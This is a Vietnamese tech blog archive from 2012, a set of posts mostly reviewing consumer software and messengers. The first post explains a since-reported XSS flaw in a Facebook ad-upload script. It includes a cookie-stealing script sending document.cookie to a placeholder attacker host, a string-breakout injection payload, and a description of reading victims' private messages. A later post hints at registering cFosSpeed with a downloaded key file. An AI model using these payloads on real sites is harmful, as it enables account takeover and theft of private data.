Chủ Nhật, 28 tháng 10, 2012

Khai thác lỗ hổng XSS/CSS trên Facebook

Cross Site Scripting (còn được gọi là XSS hay CSS) là một trong những kỹ thuật tấn công tầng ứng dụng (L7) phổ biến nhất.

Thông thường, hầu hết kiểu khai thác Cross-Site Scripting đều liên quan đến việc gửi cookie của nạn nhân tới máy của kẻ tấn công thông qua Javascript.

Code:
[code]
<script>
document.write("<img src='http://attackersite/a.gif?x=" + escape(document.cookie + "'>")
</script>
[/code]

Trong khi khai thác lỗ hổng Cross-Site Scripting, kẻ tấn công sẽ không dựa vào cookie mà chúng đánh cắp được, mà attacker có thể tiêm code Javascript vào website của nạn nhân. Attacker cũng có thể thực hiện các hành động nguy hiểm khác.



Trong trường hợp đối với Fb, quá trình được diễn ra như sau:

1. Đọc messages cá nhân của nạn nhân.
2. Lấy và chỉnh sửa ảnh cá nhân của nạn nhân. 
3. Gửi thông điệp tới những contacts của nạn nhân.
4. Thêm những ứng dụng Facebook mới.
5. Đánh cắp contacts.

Mô tả chi tiết khai thác lỗ hổng Cross-Site Scripting trên Fb.

Facebook sử dụng PHP scripts. Scripts này đã bị khai thác từ tháng 7/2010. http://www.facebook.com/ads/create/photos/creative_uploader.php

Script chứa những thông số khác nhau, một trong số chúng - controller_id: đầu vào trực tiếp bên trong của một thẻ script của người dùng. Vd: http://www.facebook.com/ads/create/photos/creative_uploader.php?controller_id=c4c288b438ed080&path=whatever&src=whatever&vol=90&w=60&h=80&post_upload=1

HTML body mà chúng ta cần quan tâm:
<script>
...
onloadRegister(function (){window.parent.__UIControllerRegistry["c4c288b438ed080"].saveUploadedImage("whatever", "whatever", 90, 60, 80);});
...
</script>

Bạn sẽ nhận thấy rằng giá trị controller_id (c4c288b438ed080) được viết trực tiếp bên trong đoạn Javascript của trang HTML. Bằng cách chèn double quote, attacker có khả năng thoát khỏi chuỗi key của array và chèn  Javascript trực tiếp bên trong một trang facebook.com, thay đổi thông số controller_id dễ dàng:

controller_id=test”]}; alert(“facebook test”); //

Điều này làm thay đổi nội dung sau:

<script>
...
onloadRegister(function (){window.parent.__UIControllerRegistry["test"]}; alert("facebook test"); //"].saveUploadedImage("whatever", "whatever", 90, 60, 80);});
...
</script>

Nội dung này sẽ chạy alert box:


Ở giai đoạn này attacker cần phải làm là đọc nội dung JSON giống như client-side scripts của Fb.

Cách thức khai thác lỗ hổng XSS để chiếm tài khoản Fb

Để đạt được mục đích này, attacker có thể gọi file mở rộng .js trên Web Server của anh ta để add thêm nhiều code.  Số frameworks giúp chuyên gia bảo mật hoặc attacker khai thác lỗ hổng CSS, giống như BeEF.

Trong TH này, chúng ta sẽ tùy biến code để chỉ định những tính năng nào được hiển thị.

Javascript code hướng dẫn web browser của nạn nhân đọc danh sách private messages tìm thấy trên http://www.facebook.com/ajax/home/inbox.php. Code phân tích từng ID message. Với mỗi message, Javascript code của attacker sẽ đọc được message http://www.facebook.com/ajax/gigaboxx/endpoint/ReadThread.php.

Cuối cùng, attacker có thể nhận được nội dung message trực tiếp từ máy chủ web server của anh ta.

Trong đoạn video dưới đây, chúng ta sẽ thấy cách thức attacker gửi nội dung nhạy cảm của victim thông qua Facebook chat.



Editor: Dương Tạ Kim Linh, Vương Lan Kiều
Source: http://baomathethong.blogspot.com/

References:

[1] - http://www.acunetix.com/websitesecurity/cross-site-scripting.htm 
[2] - http://www.acunetix.com/websitesecurity/xss-facebook.htm

Thứ Năm, 27 tháng 9, 2012

Lưu giữ hình ảnh từ Video với Powerful Video Decompiler

Lưu giữ hình ảnh từ Video với Powerful Video Decompiler

- Đôi khi bạn muốn lưu giữ lại một hình ảnh nào đó từ đoạn video yêu thích của bạn. Tuy nhiên nếu bạn sử dụng chức năng chụp ảnh toàn màn hình (Print Screen) thì bạn chỉ chụp được khung của chương trình đang sử dụng để chơi file video đó chứ không hề chụp được nội dung cần chụp. Tuy nhiên, với Powerful video Decompiler thì việc chụp và lưu giữ những hình ảnh này là việc hoàn tòan đơn giản, chỉ với một cú click chuột.

Powerful Video Decompiler cho phép bạn dịch ngược lại những file video và t ừ đó có thể xuất ra những khung hình từ những file video này và xuất nó ra thành những bức ảnh.

Chương trình hỗ trợ các định dạng file video cơ bản như AVI, MPEG, WMV, ASF và hỗ trợ xuất ra các file ảnh định dạng BMP, GIF, PNG, JPG, TIFF, EMF, WMF và nhiều định dạng ảnh khác.

Những đặc tính chính của chương trình:

- Sử dụng dễ dàng, chỉ với một cú click chuột.

- Hỗ trợ nhiều định dạng khác nhau của file video nhập vào và file ảnh xuất ra.

- Giao diện đẹp và dễ sử dụng.

- Hỗ trợ nhiều chức năng khác nhau, thậm chí có thể sử dụng chương trình để làm chương trình chơi video.

- Hỗ trợ việc theo dõi thông tin về file Video được nhập vào.

- Tương thích với mọi hệ điều hành của Windows.

- Chương trình không yêu cầu cấu hình quá cao và hòan tòan miễn phí.

Download chương trình tại đây .

Bây giờ, việc trích xuất một hình ảnh nào đó từ đoạn video yêu thích của bạn đã trở nên đơn giản và dễ dàng hơn với một chất lượng hình ảnh tốt và rõ nét hơn.

Thứ Tư, 26 tháng 9, 2012

Đã có bản thử nghiệm Yahoo Messenger 9 tiếng Việt

Đã có bản thử nghiệm Yahoo Messenger 9 tiếng Việt

Tin tức về phiên bản Yahoo Messenger 9 thử nghiệm, do dân chatter truyền miệng suốt 2 tuần qua nay đã được Yahoo chứng thực trên trang chủ của mình. Đặc biệt là phiên bản tiếng Việt được ra mắt cùng lúc với bản tiếng Anh, có sự hỗ trợ chính thức từ phía Yahoo!

Ấn tượng đầu tiên sau khi cài đặt YM! 9 Beta là giao diện phần mềm đã được thiết kế lại, với phông màu dịu hơn và tinh tế hơn so với YM8. Bạn có thể chỉnh theme màu ngay từ màn hình đăng nhập mà không cần phải login như trước (nhấn vào nút tròn góc trên bên phải).

Danh sách bạn bè buddy list cũng được "tút" lại. Avatar (ảnh đại diện   đựơc chuyển sang bên phải, lớn và dễ nhìn hơn. Status đựơc chuyển xuống dưới nickname, dễ đọc hơn và hiển thị đầy đủ các kí tự Unicode tiếng Việt. Một điểm khá thú vị: vài mặt cười cũng hiển thị được trên thanh Status, ví dụ như biểu tượng chú quỉ nhỏ >:). Di chuột qua nick từng người sẽ hiển thị 3 lựa chọn: chat, gọi điện và nhắn tin SMS.

Cửa sổ chat không có nhiều thay đổi ngoại trừ việc xuất hiện 2 icon mới dành cho webcam và chuyển file bên cạnh icon mặt cười, buzz…   Các câu chat liên tục của mỗi người được xếp chung vào một nhóm, góp phần "làm gọn" bảng chat hơn trước. Bạn sẽ thấy thú vị với các mặt cười - emoticon - mới, như "thumb up", "thumbs down" và "rock on", và một số mặt cười cũ được thiết kế lại, sinh động hơn hẳn trước kia.

Phiên bản 9 này tập trung vào các tính năng chia sẻ mới khá ấn tượng -   từ video YouTube, Yahoo Video tới   ảnh từ Flickr, và huỷ giới hạn gửi file 1GB trước đây. Khi copy-paste đường dẫn một ảnh trên Flickr, hoặc video trên youtube vào cửa sổ chat, đoạn phim hoặc ảnh sẽ hiện trực tiếp lên cửa sổ   đó. Bạn có thể cùng xem phim, ảnh, hoặc tạm dừng (pause) lại tuỳ ý cùng với "người bên kia". Người dùng tại các quốc gia được Yahoo hỗ trợ còn có thể chuyển tiếp (forward) tin nhắn từ PC tới điện thoại di động, chuyển tiếp cuộc gọi nhỡ từ YM sang mobile phone!

Nhưng điều đáng chú ý nhất với người dùng Việt Nam lại là việc nhận sự hỗ trợ chính thức từ phía Yahoo qua phiên bản Việt hóa, được download và cài đặt riêng. Trong tương lai, hãng còn hứa hẹn cung cấp đầy đủ các dịch vụ vốn chỉ có tại "xứ người", đặc biệt là các dịch vụ liên quan giữa YM - mobile phone như trên. YM! 9 sẽ "phối hợp" tích cực hơn với các dịch vụ khác của Yahoo: chia sẻ ảnh Flickr, thư Yahoo! Mail, Blog 360 và tương lai là mạng xã hội Mash.

Mặc dù còn một số lỗi trong giai đoạn thử nghiệm, như không thể login, hay phần mềm quá "ngốn" RAM (75MB so với 50MB của YM 8 - vốn đã là gánh nặng cho các PC cũ), YM 9 xứng đáng với kì vọng của mọi "chattter chuyên nghiệp" lẫn "chatter không chuyên".

Ai cũng dùng Yahoo, và không có lý do nào mà cộng đồng game luôn luôn cập nhật thông tin công nghệ không sử dụng thử YM 9.0 cho chiếc PC của mình.

Download YM9 Beta tiếng Anh tại đây và đây .

Download YM9 Beta tiếng Việt tại đây .

Thứ Ba, 25 tháng 9, 2012

10 công cụ kiểm tra PC miễn phí

Đôi khi bạn cảm thấy PC của mình chạy khá tốt và không có vấn đề gì. Tuy nhiên, có những lỗi tiềm ẩn mà đến khi bộc lộ thì lại rất nguy hiểm cho dữ liệu của bạn Cách tốt nhất để chuẩn đoán các lỗi và ngăn ngừa kịp thời là dùng các công cụ chuẩn đoán miễn phí. Bài viết này xin giới thiệu 10 công cụ như vậy …

"Chẩn bệnh" cho ổ cứng

Ổ cứng là thiết bị dường như khá ổn định. Tuy nhiên thực tế nó có thể có những trục trặc có thể làm mất dữ liệu và các chương trình của bạn.

1. Bộ kiểm tra ổ cứng ( Hard Drive Inspector)

Lợi ích của nó là luôn ở trạng thái kiểm tra giám sát tất cả các ổ cứng, nó sẽ giám sát tốc độ quay, thời gian tìm kiếm, cũng như gần 20 khả năng khác có thể xảy ra. Bộ kiểm tra ổ cứng cho bạn thông số dữ liệu kỹ thuật bao gồm model của  ổ, phiên bản phần mềm chính, số serial, và tất cả nưhngx gì bạn sẽ cần tới khi gọi cho bộ phận hỗ trợ bảo hành.

Xem ảnh lớn

Nó hiển thị nhiệt độ của ổ cứng trong ngăn hệ thống. Nếu ổ quá nóng, chương trình sẽ gửi bạn một email cảnh báo hoặc thậm chí sẽ tự động chuyển máy tính của bạn sang chế độ Standby.

Bạn có thể xem một báo cáo kết quả kiểm tra ổ đĩa như trong hình, đây là một dạng báo cáo đặc trưng với đầy đủ các thông tin cho người sử dụng. Chương trình này có giá bán là 30USD tuy nhiên bạn có thể sử dụng miễn phí trong 15 ngày để làm quen và ra quyết định. Link download: Hard Drive Inspector

2. Âm thanh ổ cứng:

Bạn không thể nghe được các âm thanh nhỏ phát ra từ máy tính, tuy nhiên chính những âm thanh đó lại đang cảnh bóa một nguy cơ hỏng ổ cứng của bạn. Vậy làm thế nào để phát hiện đựoc các âm thanh cảnh báo đó để có biện pháp phòng ngừa thích hợp?

Xem ảnh lớn

Công ty phục hồi dữ liệu DataCent vừa cung cấp một trang vô cùng hữu ích cho phép phát hiện những âm thanh báo hiệu sự tồi tệ của ổ địa hoặc tình trạng không ổn định của nó, trục quay bị tắc, hay bị rung… Nhờ đó bạn có thể "lắng nghe" ổ cứng của bạn. Link: actual sounds of bad or unstable drive heads

Công ty cũng cung cấp một công cụ khác để liệt kê các lỗi ổ cứng do nhà sản xuất thiết bị. Link: typical hard-drive failures .

Kiểm tra tốc độ băng thông

Đôi khi bạn cảm thấy dường như kết nối Internet giống như một kết nối dial-up? Đặt nó để kiểm tra bằng báo cáo tốc độ kết nối internet mỗi 30 phút hoặc hai ngày một. Hãy giữ lấy bản ghi và nếu tốc độ kết nối cách xa tốc độ cam kết thì hãy gửi kết quả đó đến ISP của bạn cùng với một lời phàn nàn.

Lời khuyên: Nếu bất cứ kiểm tra online nào như check email, lướt web mà gặp trục trặc gì bạn có thể sử dụng phiên bản mới nhất của Flash Player. Có thể download và cài đặt tại đây: Flash Player

3. Báo cáo kết nối DSAL (DSLReports):

Chương trình này sẽ cho phép bạn kiểm tra tốc độ kết nối của bạn. Chương trình này có giao diện khá giống với bảng điều khiển của xe ô tô, nó cho phép bạn xem tốc độ upload và download. Bạn có thể kiểm tra tốc độ đang sử dụng bất cứ server nào trong 6 servers tại các nơi khác nhau.

Xem ảnh lớn

Nếu bạn lo lắng về kết nối của bạn trong lúc bạn chơi game, bạn có thẻ sẻ dụng trang: Line Quality test để giám sát độ trễ và độ mất gói.

4. Speedtest.net:

Bạn cũng có thể có các kết quả tương tự bằng cách kiểm tra tốc độ băng rộng tại địa chỉ: Speedtest.net . Nhưng trang này có tốc độ nhanh hơn là DSLReports và nó có giao diện khá thuận tiện, một dạng cho phép bạn có thể dấu đi nếu muốn.

Xem ảnh lớn

Chất lượng kết nối Internet

Bên cạnh việc kểm tra tốc độ một cách toàn diện, bạn có thể sẻ dụng các công cụ khác để cái thiện trải nghiệm online của bạn

5. Kiểm tra tốc độ VoIP (VoIPSpeed Test):

Nếu bạn thực hiện một cuộc gọi thoại trên Internet hãy chắc chắn rằng bạn có băng thông đủ để đáp ứng chất lượng dịch vụ, hãy sử dụng VoIP Speed Test .

Xem ảnh lớn

Bộ phân tích băng thông sẽ nói cho bạn biết phần trăm của chất lượng dịch vụ VoIP từ kết nối của bạn cũng như số đường VoIP mà bạn có thể hỗ trợ đồng thời.

6. Kiểm tra xem trang web Down với mọi người hay với một mình mình?

Bạn vào một trang web, nhưng nó báo một lỗi. Bạn sẽ cho rằng trang web đó bị down hoặc kết nối của bạn có vấn đề?

Xem ảnh lớn

Sẽ có cách để bạn tìm ra chúng. Bạn hãy vào địa chỉ sau : Down for Everyone or Just Me?    Và nó sẽ cung cấp cho bạn một công cụ.

7. Cố định các lỗi WiFi:

Nếu bạn dùng wifi hãy bật chức năng Quality of Service (QoS) của router của bạn, chắc chắn nó sẽ giúp bạn một số việc. Để tối ưu hóa wifi cho VoIP, Video, Game tại địa chỉ sau: " Optimize Wi-Fi for VoIP, Video, and Gaming ,", chúng sẽ cung cấp cho bạn cách để bạn có tốc độ truyền dữ liệu tốt nhất với mạng không dây.

Xem ảnh lớn

Thêm một số lời khuyên cho Internet: Để có kết nối Internet tốt nhất, bạn hãy tham khảo địa chỉ: " Internet Boosters ." Và so sánh các thời điểm khi kết nối của bạn bỏ ghost, hãy kiểm tra tại " Five Quick Fixes for Internet Connection Hang-Ups "

Kiểm tra bên trong PC của bạn

8. PC Pitstop:

Nếu bạn muốn thăm một website để kiểm tra PC của bạn, tôi khuyên bạn nên dùng PC Pitstop . Đây là một công cụ toàn diện, nó không cho bạn một phần cứng vô địch nhưng có thể cảnh báo cho bạn những vấn đề có khả năng gây hại cho máy tính của bạn.

Xem ảnh lớn

Sau khi tôi sử dụng chương trình này, nó cảnh báo là đã fix 11 lỗi, đưa ra cho tôi danh sách 35 vấn đề về hệ thống, cung cấp danh sách các phần cứng đã cài đặt, thông báo phần cứng cần nâng cấp, thậm chí là so sánh PC của tôi với PC mà chương trình PC Pitstop vừa kiểm tra.

Nếu bạn có một tài khoản miễn phí, bạn có thể ghi các báo cáo để xem lại chúng. Một cảnh báo là: Nếu bạn có pop-up hoặc ad blocker bạn phải ngắt chúng (disable) trước khi bắt đầu chương trình.

9. Belarc Advisor:

Bạn có thể đặt PC trên và chạy miễn phí chương trình Belarc Advisor để có được một bản kiểm kê về phần cứng hệ thống của bạn. Nó có thể giúp bạn phân tích một cách toàn diện các phần mềm đã cài đặt trên PC của bạn.

Xem ảnh lớn

10. Thông tin hệ thống cho Windows (SIW--System Information for Windows):

Bạn có thể hỏi công cụ  SIW bất cứ thứ gì về PC của bạn, nó sẽ cung cấp cho bạn danh sách cài đặt vùng hay lịch, codec của video và audio mà bạn đã cài đạt hoặc chi tiết mạng của bạn hay các cổng mở. Bạn có thể download nó tại đây: ask the SIW tool

Xem ảnh lớn

Thứ Hai, 24 tháng 9, 2012

Tăng tốc kết nối mạng thật hiệu quả với cFosSpeed 4.22

cFosSpeed 422 dùng driver của chính nó kết nối mạng, tối ưu bằng cách hoàn toàn khác hẳn với mọi phần mềm chỉnh sửa thông số ít hiệu quả thật sự. Mọi đường dẫn truyền dữ liệu trong mạng được tối ưu bằng phương cách mới, gọi là Traffic shaping, giúp có tốc độ tối đa với đảm bảo PING tối thiểu.

Bạn có thể dùng cFosSpeed với router ADSL modem hay cable modem hoặc bất cứ dụng cụ kết nối mạng nào khác.

I) Những nét chính, thật đặc biệt của công cụ này:

- Hỗ trợ một loạt dụng cụ kết nối mạng đa dạng từ ADSL, cable, ISDN, UMTS..

- Bao gồm 2 lãnh vực tăng tốc chính là:

a) Giữ độ chờ kết nối mạng (network delay) hay ping time được nhỏ nhất nhằm mục đích giúp cho các ứng dụng mạng đáp ứng một cách nhanh nhất:

b) Cải thiện lưu thông dữ liệu trong mạng bằng cách tránh sự cố ứ đọng lưu thông trên mạng (Network congestion).

Phương cách Traffice shaping này áp dụng tốt nhất cho mọi loại Broadband: ADSL, Cable, Modem , IDSN, Mobile, Chia sẻ mạng ngang hàng, Games, Streaming Media, VoIP

II) Trang chủ và tải về từ đâu: http://www.cfos.de/speed/index_e.htm

Tải từ link: http://rapidshare.com/files/139150060/cFosSpeed_v4.22final.zip

III) Sử dụng phần mềm này ra sao:

Kích thước phần mềm tải về rất nhỏ, chỉ 2MB, sau khi cài xong ,bạn phải chạy file key.cfosspeed chép vào trong thư mục cài, rồi điền mật mã theo nó yêu cầu. Như thế, bạn mới đăng ký phần mềm được đúng và xài lâu dài.

Lưu ý điểm thêm đặc biệt này là chương trình này không có giao diện chính để điều khiển, nhưng lại chạy bằng 1 icon nhỏ trên khay hệ thống.

Thường tất cả đền thiết lập tự động tối ưu giúp bạn sẵn, chỉ khi nào muốn cần chỉnh lại đôi chút bạn ấn nút chuột phải vào icon trên khay, để mở ra menu ngữ cảnh gồm các mục sau đi từ trên xuống dưới:

-CFOSpeed thuộc phiên bản nào hiện nay: 4 22. build 1406

-License : đăng ký chưa( S22997) hay còn phải mua online

- www.cfo.com (trang chủ )

- Open\Close windows (Mở hay đóng lại cửa sổ biểu đồ nhỏ, nằm góc phải dưới màn hình cho biết tốc độ kết nối mạng từng lúc).

- Windows setting (vài cách thiết lập cho windows).

- Disable traffic shaping (bất hoạt): nên để mặc nhiên, ít khi bạn phải chọn lại vào đây.

- Favour Ping time (hay Bandwith): có thể chọn 1 trong 2 tùy chọn này.

- Calibre line (chỉnh lại đường truyền phải làm lại mất vài ngày)

- Redetect route( kiểm lại đường truyền).

- Use graph: dùng biểu đồ .

- Options(Tùy chọn): Bạn nên vào mục Settings\Options. Nó mở thêm cửa sổ phụ tên Traffic shaping Settings, có thêm 4 phần phụ để chọn thiết lập lại tùy ý của mình: Preferences, Protocols, Programs, Current Connections.

- Get a new program version (chọn tải về phiên bản mới nhất).

Tóm lại, đây là một phần mềm có phong cách làm việc thật mới tăng tốc kết nối mạng qua modem bằng driver chính nó, chứ không phải chỉ là thay đổi thông số modem như các phần mềm khác ít thực sự hiệu quả hơn nhiều.

Chủ Nhật, 23 tháng 9, 2012

Asiasoft giới thiệu @Cafe

Nhà phát hành game online Asiasoft mang đến thị trường game online một ứng dụng, sáng kiến mới của ngành công nghiệp game thế giới: @Cafe.

Nhằm mang lại những tiện ích, những dịch vụ chăm sóc tốt nhất cho khách hàng, Asiasoft giới thiệu cho các chủ phòng máy Internet và những đối tác: dịch vụ @Cafe. Với dịch vụ này, các phòng máy, đối tác sẽ nhận được sự hỗ trợ tối đa và những dịch vụ cộng thêm phong phú, hữu ích từ Asiasoft.

@Cafe là một sợi dây liên kết, giúp mối quan hệ giữa các phòng máy Internet và nhà phát hành trở nên chặt chẽ hơn. Tại các phòng máy Internet có sử dụng những dịch vụ của Asiasoft trên toàn quốc, game thủ chơi những game do Asiasoft phát hành sẽ được những ưu đãi đặc biệt. Hiện tại, Asiasoft đang công bố 2 tính năng thử nghiệm của @Cafe là: IP Bonus và Gift code.

IP Bonus đang thu hút được sự quan tâm của nhiều game thủ vì những tính năng mới lạ và những tiện ích, giá trị mà nó mang lại. Khi chơi game ở các phòng máy có dịch vụ @Cafe, các game thủ sẽ được tăng cấp nhân vật nhanh hơn: 10% - 30% điểm kinh nghiệm, tỷ lệ rớt vật phẩm tăng hơn 10%-20%, rớt những item đặc biệt hơn, nạp thẻ mua item được tặng thêm 10%-30% giá trị... Tất cả các tiện ích trên đều tùy thuộc vào từng game và chương trình khác nhau của Asiasoft.

Gift code thì lại được các chủ phòng máy Internet đặc biệt quan tâm và hoan nghênh. Asiasoft tặng Account test khi phát hành game mới, tặng vật phẩm hay @cash cho các chủ phòng máy Internet vào mỗi đợt khuyến mãi định kỳ. Ưu tiên mời những thành viên @Cafe tham gia những dịch vụ và những lần hội nghị khách hàng.

Tính đến nay, mỗi ngày Asiasoft tiếp nhận từ 280 - 320 lượt chủ phòng máy Internet đăng ký tham gia dịch vụ @Cafe. Ngoài ra, rất nhiều game thủ đã tìm hỏi các địa điểm chơi game có dịch vụ @Cafe của Asiasoft. Thông tin chi tiết có tại: www.asiasoft.net

Thứ Bảy, 22 tháng 9, 2012

Ngắm sao từ Desktop

- Microsoft WorldWide Telescope (MSWT) là một phần mềm mô phỏng được lập trình trên nền Web 2.0. Phần mềm này biến máy tính của bạn trở thành chiếc kính thiên văn để bạn khám phá những hình ảnh chân thật của vũ trụ.

Microsoft WorldWide Telescope tổng hợp những hình ảnh ấn tượng của rất nhiều kính thiên văn mặt đất trên khắp thế giới. Kính thiên văn ảo MSWT là một phần mềm miễn phí đặc dành cho những người yêu thích thiên văn học, đặc biệt học sinh, sinh viên. Từ nay, bạn có thể ngồi trước Desktop và quan sát tinh tú theo cách của riêng mình chỉ bằng vài cú nhấp chuột.

Sau khi cài đặt chương trình, bạn nhấp đúp vào biểu tượng   của chương trình trên Desktop để chạy (máy tính bạn cần phải nối mạng Internet để chương trình lấy dữ liệu trên sever). Bạn sẽ thấy giao diện chương trình có một màu đen tuyền và cách bố trí menu đặc trưng của Windows Media Player 11 (với các thẻ Explorer, Guided Tours, Search, Community, Telescope, View và Settings) cùng hàng loạt hình ảnh thu nhỏ của các chòm sao, hệ thiên hà, các vệ tinh v.v… được bố trí ở hai dải trên và dưới cửa sổ chính.

1. Thẻ Explorer (Khám phá): Trên hai thanh trượt có các hình ảnh mẫu về các ngôi sao, vệ tinh… ta có thể tạm chia thành hai khu vực: dãy ở phía trên bao gồm các nhóm lớn các đối tượng cần xem và bên dưới là các đối tượng cụ thể nằm trong các nhóm lớn đó. Bạn có thể click ngay vào một ảnh của một chòm sao nào đó ở dãy bên dưới, chương trình sẽ tự động dò đến tọa độ của chòm sao đó một cách mượt mà. Nhấn F11 để MSWT hiển thị toàn màn hình. Bạn hãy dùng chuột để điều chỉnh góc nhìn cho phù hợp với ý bạn. Để nhìn rõ hơn một vị trí nào đó, bạn dùng chuột nhấp đúp vào vị trí đó trên vùng hiển thị của chương trình.

Hay hơn nữa, bạn có thể nhấp phải chuột vào vị trí đó để xem thông tin chi tiết về chòm sao hay ngôi sao mà bạn đang xem (có thể nhấp phải vào ảnh mẫu, chọn Properties). Điều này rất hữu ích cho những ai yêu thích bộ môn thiên văn học hay chỉ đơn thuần là tham khảo cho biết. Để biết nhiều thông tin hơn về một ngôi sao nào đó, bạn nhấp phải vào bức ảnh mẫu chọn Information > Look up on wikipedia (nếu bạn muốn lấy thông tin từ trang Từ điển bách khoa toàn thư mở Wikipedia). Ngoài ra, chương trình còn cho bạn các tùy chọn ở dãy quan sát bên dưới cửa sổ:

- Mục Look At:   bạn có thể chọn loại đối tượng cần xem như Earth (Trái đất), Planet (Hành tinh), Sky (Bầu trời), Panorama (Khung cảnh rộng), SolarSystem (Quan sát các hành tinh của Hệ Mặt trời). Khi chọn một trong các mục này, các hình mẫu cũng thay đổi tương ứng, cho phép bạn mở rộng phạm vi quan sát tạo sự hứng thú với nhiều tùy chọn của chương trình.

- Mục Imagery: hiển thị các tùy chọn mở rộng ứng với tùy chọn của bạn ở mục Look At.

- Mục Context Search Filter: Tùy chọn giúp bạn lọc ra các thành phần không cần thiết phải hiển thị để tránh bị rối bởi nhiều đối tượng cùng xuất hiện trên vùng quan sát (như các mảng hành tinh phụ, các vệ tinh v.v…).

- Vùng canh chọn tọa độ: nằm ngoài cùng ở góc phải, gồm một hình cầu phương hướng và một biểu đồ mô tả vùng quan sát. Bạn rê chuột để chọn vị trí quan sát mong muốn (giống như Map trong các game chiến thuật).

Bên dưới chữ Explorer có một mũi tên, bạn bấm vào đó để hiện menu mở rộng. Trong menu này, bạn có thể tạo một bộ sưu tập các hành tinh bạn đang quan sát (hay nghiêng cứu) bằng cách chọn New>Collection hay tạo một tour quan sát ghi lại quá trình bạn tham quan các vì sao bằng cách chọn New>Tour và điền các thông tin cần thiết trong khung Tour Properties (thông tin này sẽ gửi về trang chủ của MSWT). Vì khuôn khổ bài viết có hạn nên tôi không đề cập chi tiết các tùy chọn này, các bạn có thể tự tìm hiểu thêm.

2. Thẻ Guided Tours (Chuyến tham quan mẫu): Tại đây các bạn sẽ được liệt kê các Tour được những người sử dụng khác tạo ra và chia sẻ. Hãy nhấp vào biểu tượng của Tour bạn cần xem sau đó đợi trong ít phút để chương trình tải dữ liệu từ server. Sau đó các bạn bấm nút Play Tour có hình    để tham quan. Bạn cũng có thể tự tạo một Tour của riêng mình và chia sẻ cho mọi người bằng cách nhấn vào nút mũi tên bên dưới chữ Guided Tours , chọn Creat a New Tour.

3. Thẻ Search (Tìm kiếm): cung cấp cho bạn một công cụ để tìm nhanh một ngôi sao qua tên gọi. Bạn nhập từ khóa cần tìm vào ô text ở dãy trên, ngay từ những kí tự bạn nhập vào, MSWT sẽ tự lọc các kết quả chứa những kí tự đó ở phía dưới. Khi bạn bấm vào một kết quả nào đó mà chương trình tìm được, nó sẽ đưa bạn đến vị trí đó (và sẽ có một vùng chữ nhật khoanh vùng vị trí mà bạn tìm).

4. Thẻ Community (Cộng đồng): tại đây bạn có thể đăng kí tham gia vào cộng đồng nghiên cứu các hành tinh. Khi đã là thành viên, bạn được quyền thảo luận về các vấn đề liên quan đến thiên văn và vũ trụ với các thành viên khác trên toàn thế giới. hãy nhấn vào join a community để tham gia vào cộng đồng nghiên cứu và tìm kiếm những thông tin bổ ích được mọi người chia sẻ từ dịch vụ này.

5. Thẻ Telescope (Kính thiên văn): ở mục này, bạn được cung cấp một công cụ định vị chuyên sâu và chi tiết hơn về ngôi sao mà bạn quan sát như các thông tin về vị trí, khoảng cách, phương hướng v.v…

6. Các tùy chọn cho chương trình tại thẻ View (Quan sát) và thẻ Settings (Các tùy chọn): những tùy chọn này giúp bạn sắp xếp cách bố trí chương trình, phương thức hiển thị các đối tượng được quan sát v.v… nhằm nâng cao hiệu suất nghiên cứu và giảm hiệu năng tiêu thụ của máy tính khi chạy chương trình.

Hy vọng với chương trình này, bạn có thể thoải mái thư giãn với các hình ảnh tuyệt đẹp từ các thiên hà hay mở rộng kiến thức của bạn trong việc nghiên cứu thiên văn học, đây cũng là mục tiêu mà Microsoft hướng đến khi phát hành miễn phí phần mềm này. Bạn có thể tải về phần mềm này tại trang chủ của MSWT ở mục Install WorldWide Telescope (dung lượng 29.2MB). Phần mềm tương thích với hệ điều hành Windows và yêu cầu máy cài sẵn bộ Microsoft .Net FrameWork phiên bản 2.0 trở lên.

Thứ Sáu, 21 tháng 9, 2012

Tận hưởng Windows Live Messenger 9.0

Phiên bản Windows Live Messenger (WLM) 9.0 (2009) được giới thiệu kèm theo trong gói ứng dụng Windows Live Essentials thuộc họ Live sẽ thật sự làm những tín đồ chat hài lòng qua những tính năng kết nối mang hơi hướng mạng xã hội, các tùy chọn cá nhân hóa và giao diện mới rất hấp dẫn.

Giao diện bóng bẩy

Thay đổi màu nền không phải là điều mới mẻ vì WLM 8 đã cho phép người dùng thay đổi màu sắc nền dễ dàng. Tuy nhiên, trong phiên bản 2009 thì khi rê chuột lên góc phải của WLM, một biểu tượng thay đổi hình nền xuất hiện. Đây không phải là tính năng mới so với các trình IM vì Yahoo Messenger 9 đã có, nhưng những hình nền khá thú vị với độ chuyển sắc mượt mà để người dùng thể hiện phong cách trong WLM 9 mới thật sự hấp dẫn cộng thêm tùy chọn chọn lựa một hình ảnh bất kỳ với các định dạng bmp, gif, jpg... để thay thế hình ảnh có sẵn.

Chọn lựa ảnh nền theo phong cách riêng

Cách thể hiện danh sách liên hệ được tùy biến theo nhiều kích cỡ avatar khác nhau hoặc chỉ đơn thuần là tên hoặc nickname liên hệ. Chọn lựa trong phần Options - Layout của WLM 9.

Chia sẻ dữ liệu cao cấp hơn

Đây là tính năng hữu ích có từ một vài phiên bản trước của WLM. Khi hai người đang cùng trò chuyện cũng có thể chia sẻ dữ liệu qua Sharing Folders, tính năng chọn lựa một thư mục có trên máy tính và đặt dữ liệu cần chia sẻ vào đó, rút ngắn thời gian lẫn cải thiện tốc độ truyền tải. Mỗi liên hệ (contact) sẽ có một thư mục tương ứng tùy thuộc người dùng chọn lựa.

Ngoài Sharing Folders trên ổ cứng cục bộ, việc chia sẻ dữ liệu trong WLM 9 được nâng lên một bước qua sự kết hợp nhịp nhàng với 25GB dung lượng lưu trữ trực tuyến miễn phí từ SkyDrive.

Khi muốn gửi dữ liệu cho một đối tượng hiện đang offline thì mặc định dữ liệu sẽ được chuyển lên tài khoản SkyDrive của người gửi. Chỉ cần chọn lựa nhóm người nhận muốn chia sẻ hoặc 1, 2 người nhận chọn lọc. Nhờ vào tính năng quản lý dữ liệu mạnh mẽ từ Windows Live SkyDrive Wave 3 (phiên bản nâng cấp mới nhất) mà người dùng WLM 9 có thể thiết lập cả quyền hạn trên dữ liệu cho người nhận. Người nhận có thể xem hoặc cũng có thể xóa hay sửa đổi dữ liệu được chia sẻ.

Chia sẻ hình ảnh trong lúc chat

Nhóm phát triển WLM 9 của Microsoft cũng khéo léo tích hợp khả năng chia sẻ hình ảnh rất thuận tiện qua thao tác kéo - thả và hình ảnh thể hiện ngay trong cửa sổ đàm thoại.

Kết nối mạng xã hội qua group

